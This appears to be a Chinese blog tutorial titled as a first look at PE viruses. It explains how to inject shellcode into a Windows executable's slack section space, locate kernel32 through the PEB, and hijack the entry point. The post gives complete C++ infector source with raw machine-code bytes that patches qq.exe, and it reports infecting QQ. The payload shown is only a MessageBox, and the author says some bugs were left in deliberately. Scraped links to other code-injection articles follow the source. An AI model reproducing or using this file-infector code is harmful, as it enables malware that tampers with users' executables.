PE病毒初探——向exe注入代码

PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度:

PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。

http://baike.baidu.com/view/1087038.htm

有一种病毒是针对PE文件进行的操作,他们会感染一些exe,将自己的代码添加到exe中并在某处悄悄地窃取执行权限执行自己的代码进行破坏或者是其他不为人知的勾当。

才写了个头就跑去跟个程旭媛讨论技术问题去了,不禁让我想起之前的一张图片。。程序员苦逼不解释。

下面就进入正题。

1、PE文件格式

PE文件格式游如下图给出

2、代码注入

由PE格式可以知道,PE文件的数据和代码都存储在PE头之后的一些session中,其中有些session的属性是可执行的,里面的数据就能被当成计算机指令在cpu中执行。

注入代码的目标就是这些可执行的session(其实还有一种注入方法是增加额外的session,但是这样做会增加exe文件的大小,不过这样可以放更多的代码,由于这次要插入的代码数量较小所以选择已经存在的session下手)。

由于文件在磁盘中存储是按块存储的,每块的大小是固定的,因此这样会在某些数据中存在额外多余的部分,这个部分就是代码需要插入的区域。

if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&\
   (p->Characteristics&IMAGE_SCN_MEM_EXECUTE))//判断剩余片段大小是否和需要插入的代码和数据的
  {

/*。。。。。。。。。。。。。。。

处理一些地址相关的信息,再将代码写入该区域

。。。。。。。。。。。。。。。*/

}

下面上一张图解释下插入的情形。

由以上的分段信息可以看出第二个区段有较大的碎片区域,那么所插入的数据和需要插入的代码就可以插入到碎片二的地方(令第二个区段必须有可执行的权限,否则即使将数据插入进该断,也无法得到执行)

插入后的情况见下图:

剩余部分就是碎片区域,由于插入的代码都是汇编代码对应的机器码,所以可以用以下方法获得一段汇编代码的机器码:

void CodeInfo(int *start,int *CodeSize)
{
 DWORD s,e;
 _asm
 {
  push eax
   mov eax,begin1
   mov s,eax
   mov eax,end1
   mov e,eax
   jmp end1
begin1:

这里放你需要的汇编代码
end1:
  pop eax

}
 *start=s;
 *CodeSize=e-s;

}

然后在主程序里面调用该函数,通过start和size两个参数利用memcpy函数即可得到需要的汇编代码

3、如何让程序执行你插入的代码

对于每个exe而言其在被操作系统装入内存后所执行的第一句代码所在地址在PE头中已经被指定好了

只需将这个地址修改成为你插入的代码的起始位置就行了

4、如何确定数据的位置

虽然我们已经能知道插入的数据所在的物理位置,但这个位置不是真正程序在内存中的位置,而为什么之前指定程序入口地址会有用呢?是因为这些定位操作系统会自动帮你改变,而要访问这些数据是你自己的事情,操作系统不会帮你做你自己的事情。

因此有必要自己定位数据,不过令人高兴的是这些数据在内存中与代码的相对偏移是不变的,因此只要知道当前代码所在的位置就能很好的定位数据的位置。利用以下汇编代码就能轻松定位当前代码执行地址:

call A
A:    
  pop edi //获取当前地址给edi

至于原理请大家自行去查看汇编call调用的基本原理

利用获得的EDI做些加减法就能很快定位你要的数据了。

5、如何动态获取API函数

获取API函数是个令人头疼的问题,因为不同的exe在装载之后有些模块的地址会不一样,需要动态定位这些模块,在在这些模块中找到你需要的API地址。

本例中需要插入的代码主要实现的执行一个messagebox函数显示一个对话框。

回想在C++中调用Messagebox函数是只需使用MessageBoxA(0,“context”,“title”,0)就行了,但是在汇编状态下需要确定messageboxA的地址再push一些参数最后调用call就可以了。

MessageBoxA是存在于user32.dll中,所以理所当然利用GetProcAddress()函数就能获得,而GetProcAddress需要知道user32.dll模块的地址,那么显然只要用LoadLibrary()函数就能确定user32.dll模块的地址,那么现在已经比较明朗了需要知道GetProcAddress(),LoadLibrary()两个函数就可以了,其他需要的API都可以通过这两个函数来确定。

幸运的是GetProcAddress(),LoadLibrary()两个函数都存在于kernel32.dll当中,而kernel32.dll这个模块基本上每一个exe都需要调用到,所以最终只要确定kernel32.dll的地址就行了

下面给出利用汇编动态定位kernel32.dll地址的方法

mov edx,fs:[30h]        //获得PEB
  mov edx,[edx+0ch]//get peb_ldr_data
  mov edx,[edx+1ch]//get InInitializationOrderModuleList
  mov edx,[edx]
  mov eax,[edx+50h]//此时eax中存放的就是kernel32.dll的地址

利用eax加一下GetProcAddress(),LoadLibrary()两个函数在于kernel32.dll中的相对偏移就能正确定位这两个函数的地址了(GetProcAddress(),LoadLibrary()两个函数在kernel32.dll中的相对偏移是固定不变的不过随着系统的版本不同会有不一样,在同一个系统中是一样的)

6、如何回归原程序

在执行完认为插入的代码之后还需要做一件事——将控制权交还给原程序,当然对于那些具有破坏性的病毒而言这一步做不做无所谓,甚至在之前的插入过程中选择直接覆盖就行了。

不过这里还是要考虑回归正途,在之前修改程序入口地址的时候知道了原程序的入口地址这里要回去只要进行简单的jmp就行了,不过要注意这个jmp后面跟的是偏移地址,所以得做一次减法才行,而且还需考虑jmp代码本身的字节长度。

到这里就基本完成了一个简单的感染PE文件的病毒的编写,由于某些原因上面的内容写的比较粗糙

下面就来看一下程序的执行结果:

首先感染一个自己编写的helloworld 的exe文件

下图是感染后的结果,程序一开始执行时先跳出了MessageBox对话框

再看看感染QQ的情况

直接将QQ.exe从QQ的安装目录里面拷贝出来放在桌面双击会发现毫无反应,没出现系统报错的对话框,也没出现什么提示信息,在进程管理器里面也找不到刚才执行的QQ.exe的身影,我猜这是因为QQ用于本文中提到的相似的方法做过一些特殊处理,遇到运行时异常之后直接退出了,以后可以跟踪调试下看。。。

不过这并不影响我们的病毒对它的感染,用本文中德方法感染桌面的QQ.exe之后再双击执行只出现了一个对话框

请无视后面那个菊花=。=

在任务管理器中查看相关进程可以找大QQ.EXE的身影:

到此基本结束了,不过最后还是要放一下大招,直接上原代码,有兴趣的可以自行编译不过其中还是设置了一些小Bug,可能会导致最终感染失败,嘿嘿

#include<Windows.h>
#include<iostream>
#include<fstream>
using namespace std;

BOOL  IsPeFile(LPVOID  ImageBase)   //判断是否是PE文件结构
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;

 if(!ImageBase)
  return FALSE;
 pDosHeader = (PIMAGE_DOS_HEADER) ImageBase;

 if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  return FALSE;
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
 if(pNtHeader->Signature != IMAGE_NT_SIGNATURE )
  return  FALSE;
 return    TRUE;
}

PIMAGE_NT_HEADERS  GetNtHeader(LPVOID  ImageBase) //获取NT结构指针
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;

 if(!IsPeFile(ImageBase))
  return  NULL;
 pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
 return    pNtHeader;
}

PIMAGE_FILE_HEADER  WINAPI  GetFileHeader(LPVOID  Imagebase)
{
 PIMAGE_FILE_HEADER  pFileHeader;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(Imagebase);
 if(!pNtHeader)
  return  NULL;
 pFileHeader = & pNtHeader->FileHeader;
 return  pFileHeader;
}

PIMAGE_OPTIONAL_HEADER  GetOptionalHeader(LPVOID  ImageBase)
{
 PIMAGE_OPTIONAL_HEADER  pOptionHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(ImageBase);
 if(!pNtHeader)
  return  NULL;
 pOptionHeader = & pNtHeader->OptionalHeader;
 return  pOptionHeader;
}

BOOL RvaToOffset(LPVOID lpMoudle,DWORD Rva)
{

 //定义变量存储转换后的偏移值和节表数
 DWORD FileOffset;
 WORD nSectionNum;

 //取NT结构头
 IMAGE_NT_HEADERS  *pNTHead;
 pNTHead=GetNtHeader(lpMoudle);
 nSectionNum=pNTHead->FileHeader.NumberOfSections;

 //取节表结构头
 IMAGE_SECTION_HEADER *pSectionHead;
 pSectionHead=(IMAGE_SECTION_HEADER *)((DWORD)pNTHead+sizeof(IMAGE_NT_HEADERS));

 //循环比较Rva值所对应节表的偏移
 for(int i=0; i<nSectionNum; i++)
 {
  if((pSectionHead->VirtualAddress<=Rva) && (Rva<(pSectionHead->SizeOfRawData+pSectionHead->VirtualAddress)))
  {
   FileOffset=Rva-pSectionHead->VirtualAddress+pSectionHead->PointerToRawData;
   return FileOffset;
  }
  pSectionHead++;
 }
 return FALSE;
}

BOOL RvaToVirtualAddress(LPVOID lpMoudle,DWORD Rva)
{
 DWORD offect=RvaToOffset(lpMoudle,Rva);
 /*if(offect==NULL||offect==FALSE)
  return FALSE;*/
 return (DWORD)lpMoudle+offect;
}

VOID HandleSessionTable(LPVOID file,LPVOID base)
{
 char funcname[16]="MessageBoxA";
 char DLLname[16]="user32.dll";
 char Caption[16]="Warning";
 char Content[16]="This is test";
 DWORD LoadLibraryAAddr=0x1f864;
 DWORD GetProcAddress=0x24c46;

 char codes[]="\x60\xe8\x0\x0\x0\x0\x5f\x83\xef\x6\x8b\x4f\xf8\x8b"   //////这里的数据就只插入代码
  "\x5f\xfc\x64\x8b\x15\x30\x0\x0\x0\x8b\x52\xc\x8b\x52\x1c\x8b"   //////的二进制机器码
  "\x12\x8b\x42\x8\x8b\x42\x50\x3\xc8\x50\x8b\xd7\x83\xea\x38\x52"
  "\xff\xd1\x8b\xc8\x58\x3\xd8\x8b\xd7\x83\xea\x48\x52\x51\xff\xd3"
  "\x8b\xcf\x83\xe9\x18\x6a\x0\x51\x83\xe9\x10\x51\x6a\x0\xff\xd0\x61"
  "\xe9\x00\x00\x00\x00";

 int datalength=16*4+8;
 int codeslength=sizeof(codes)-1;

 IMAGE_NT_HEADERS *nthead=GetNtHeader(base);
 IMAGE_SECTION_HEADER *sessionhead=(IMAGE_SECTION_HEADER*)((DWORD)nthead+sizeof(IMAGE_NT_HEADERS));
 if(sessionhead->VirtualAddress==NULL)
  return;
 DWORD sessionnum=nthead->FileHeader.NumberOfSections;
 IMAGE_SECTION_HEADER *p=sessionhead;
 DWORD sFileSize=GetFileSize(base,NULL);
 for(int i=0;i<sessionnum;i++)
 {
  cout<<(char*)p->Name<<" " <<(int)p->SizeOfRawData-(int)p->Misc.VirtualSize<<endl;
  IMAGE_SECTION_HEADER tmp;//=sessionhead;
  memcpy(&tmp,p,sizeof(IMAGE_SECTION_HEADER));

  if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&   (p->Characteristics&IMAGE_SCN_MEM_EXECUTE))
  {
   DWORD datavirtualbase=p->VirtualAddress+p->Misc.VirtualSize;
   DWORD datafileoffect=p->PointerToRawData+p->Misc.VirtualSize;
   SetFilePointer(file,datafileoffect,NULL,FILE_BEGIN);
   WriteFile(file,funcname,16,0,0);
   WriteFile(file,DLLname,16,0,0);
   WriteFile(file,Caption,16,0,0);
   WriteFile(file,Content,16,0,0);
   WriteFile(file,&LoadLibraryAAddr,4,0,0);
   WriteFile(file,&GetProcAddress,4,0,0);
   DWORD codevirtualbase=p->VirtualAddress+p->Misc.VirtualSize+datalength;
   DWORD cedefileoffset=p->PointerToRawData+p->Misc.VirtualSize+datalength;
   p->Misc.VirtualSize+=(codeslength+datalength);
   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   DWORD oldentry=nthead->OptionalHeader.AddressOfEntryPoint;
   DWORD JMPOffset=oldentry-(codevirtualbase+codeslength-5)-5;
   memcpy(codes+codeslength-4,&JMPOffset,sizeof(DWORD));
   nthead->OptionalHeader.AddressOfEntryPoint=codevirtualbase;
   DWORD writesize=0;
   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   if(!WriteFile(file,codes,codeslength,&writesize,0) )
   {
    TCHAR  *buffer;
    ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
    MessageBox(0,buffer,L"ok",0);
   }
   cout<<"success"<<endl;
   break;

  }

  p++;
 }

}

void main()
{

 HANDLE  hFile = CreateFile(L"qq.exe",           // open  pe file
  GENERIC_READ|GENERIC_WRITE,              // open for reading
  NULL,           // share for reading
  NULL,                      // no security
  OPEN_EXISTING,             // existing file only
  FILE_ATTRIBUTE_NORMAL,   // normal file
  NULL);                     // no attr. template 

 HANDLE hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
 if(!hFileMap )
 {
  TCHAR  *buffer ;

  ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
  MessageBox(0,buffer,L"ok",0);
 }
 LPVOID  lpMemory = MapViewOfFile(hFileMap,FILE_MAP_READ|FILE_MAP_WRITE ,NULL,NULL,NULL);

 if(IsPeFile(lpMemory))
 {
  //AnalyzeNTHEADER(lpMemory);
  cout<<"yes"<<endl;
  IMAGE_NT_HEADERS *nthead=GetNtHeader(lpMemory);
  IMAGE_OPTIONAL_HEADER32 *image=GetOptionalHeader(lpMemory);
  cout<<"DataDirectory num:"<<image->NumberOfRvaAndSizes<<endl;

  HandleSessionTable(hFile,lpMemory);

 }
 else
  cout<<"no"<<endl;

 UnmapViewOfFile(lpMemory);
 CloseHandle(hFileMap);
 CloseHandle(hFile);

 system("pause");
}
时间: 2024-11-08 03:32:53

PE病毒初探——向exe注入代码的相关文章

向其他进程注入代码的三种方法

http://huaidan.org/archives/838.html 原版地址: http://www.codeproject.com/threads/winspy.asp?df=100&forumid=16291&select=1025152&msg=1025152 pdf格式下载: http://netxfly.blogbus.com/files/1163491746.pdf 作者:Robert Kuster 翻译:袁晓辉([email protected]) 摘要:如何向

带你开发一款给Apk中自动注入代码工具icodetools(完善篇)

一.前言 在前面已经介绍完了 自动给apk中注入日志代码工具icodetools原理了,在那里我们曾经说过其实离真正的可使用价值有点距离,本篇就对这个工具进行一些优化,让其真正意义上开始能工作量产.当时在前面一篇文章中说到遗留的三个主要问题: 第一个问题:对每个类中都添加一个静态打印方法堆栈信息的方法,这样会导致有些应用的dex过大,方法数超了问题 第二个问题:在从输入一个apk到给每个类中的每个方法添加日志代码然后在签名输出最终的apk,这个过程其实很多步,但是我们之前都是手动的去进行操作,非

android黑科技系列——自动注入代码工具icodetools

一.前言 在前面已经介绍完了 自动给apk中注入日志代码工具icodetools原理了,在那里我们曾经说过其实离真正的可使用价值有点距离,本篇就对这个工具进行一些优化,让其真正意义上开始能工作量产.当时在前面一篇文章中说到遗留的三个主要问题: 第一个问题:对每个类中都添加一个静态打印方法堆栈信息的方法,这样会导致有些应用的dex过大,方法数超了问题 第二个问题:在从输入一个apk到给每个类中的每个方法添加日志代码然后在签名输出最终的apk,这个过程其实很多步,但是我们之前都是手动的去进行操作,非

C++ 获取PE文件自校验值的代码

将写代码过程比较重要的一些代码收藏起来,下边资料是关于C++ 获取PE文件自校验值的代码. #include#include <imagehlp.h>#pragma comment(lib,"imagehlp") { char szFileName[] = "d:\newupdate.exe"; DWORD dwCheckSum1,dwCheckSum2; if (MapFileAndCheckSum(szFileName,&dwCheckSum

Windows编程 - 启动可执行(exe)程序 代码(C++)

启动可执行(exe)程序 代码(C++) 本文地址: http://blog.csdn.net/caroline_wendy 通过输入程序位置启动可执行(exe)程序, 使用windows的CreateProcess()函数, 即可. 示例是调用预先生产的可执行(exe)程序. 代码: /* * main.cpp * * Created on: 2014.06.08 * Author: Spike */ /*vs 2012*/ #include <iostream> #include <

Windows编程 - 终止可执行(exe)程序 代码(C++)

终止可执行(exe)程序 代码(C++) 本文地址: http://blog.csdn.net/caroline_wendy 终止可执行(exe)程序, 首先遍历进程, 找到进程名称对于的进程ID号, 然后根据进程ID, 终止进程. 示例代码: 包括遍历进程代码, 和关闭代码. 代码: /* * main.cpp * * Created on: 2014.06.08 * Author: Spike */ /*vs 2012*/ #include <iostream> #include <

Unity构造函数注入代码示例

Unity构造函数注入代码示例 如果使用 Unity 实例化一个类,该类的构造函数依赖一个或多个其他类,则 Unity 会为构造函数自动创建参数中指定的被依赖的类的实例.例如,下面的代码展示了一个名为 "CustomerService" 的类,其构造函数的入参依赖于一个名为 "LoggingService" 的类. public class CustomerService { public CustomerService(LoggingService log) {

带你开发一款给Apk中自动注入代码工具icodetools(开凿篇)

一.前言 从这篇开始咋们开始一个全新的静态方式逆向工具icodetools的实现过程,这个也是我自己第一次写的个人觉得比较有用的小工具,特别是在静态方式逆向apk找关键点的时候,后续会分为三篇来详细介绍这个工具实现: 第一篇:开凿篇,简单介绍实现原理以及简单的初次方案实现简单的apk注入代码功能 第二篇:填坑篇,这一篇是在前一篇的基础上对工具的优化,可以应对市面上大部分的apk代码注入功能实现 第三篇:生产篇,这一篇是在前两篇的基础上利用这个工具来实际操刀如何进行快速定位应用的关键方法功能 还记

常用android的smali注入代码

常用android的smali注入代码 1.增加log信息 const-string v3,"SN" invoke-static {v3,v0}, Landroid/util/Log;->v(Ljava/lang/String;Ljava/lang/String;)I 2.弹出消息框 new AlertDialog.Builder(self) .setTitle("普通对话框") .setMessage("你好,Android!") .sh